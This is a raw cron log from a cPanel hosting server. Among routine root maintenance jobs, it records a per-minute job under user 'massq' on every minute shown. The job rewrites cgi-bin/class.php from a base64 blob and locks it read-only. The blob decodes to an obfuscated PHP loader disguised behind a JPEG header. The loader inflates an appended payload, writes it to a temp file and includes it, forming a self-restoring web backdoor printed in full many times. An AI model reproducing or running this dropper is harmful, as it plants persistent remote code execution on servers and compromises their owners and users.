Nov 14 08:03:01 server CROND[2906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:04:01 server CROND[3765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:05:01 server CROND[4356]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:05:01 server CROND[4357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:05:01 server CROND[4359]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 14 08:05:01 server CROND[4358]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 08:05:01 server CROND[4360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:06:01 server CROND[5343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:07:01 server CROND[6224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:08:01 server CROND[7090]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:09:01 server CROND[7961]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 08:09:01 server CROND[7962]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:10:01 server CROND[9036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:10:01 server CROND[9046]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 08:10:01 server CROND[9047]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:10:01 server CROND[9048]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:11:01 server CROND[9952]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:12:01 server CROND[10822]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 08:12:01 server CROND[10821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:13:01 server CROND[11754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:14:01 server CROND[12632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:15:01 server CROND[13595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 08:15:01 server CROND[13596]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 08:15:01 server CROND[13597]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 08:15:01 server CROND[13598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
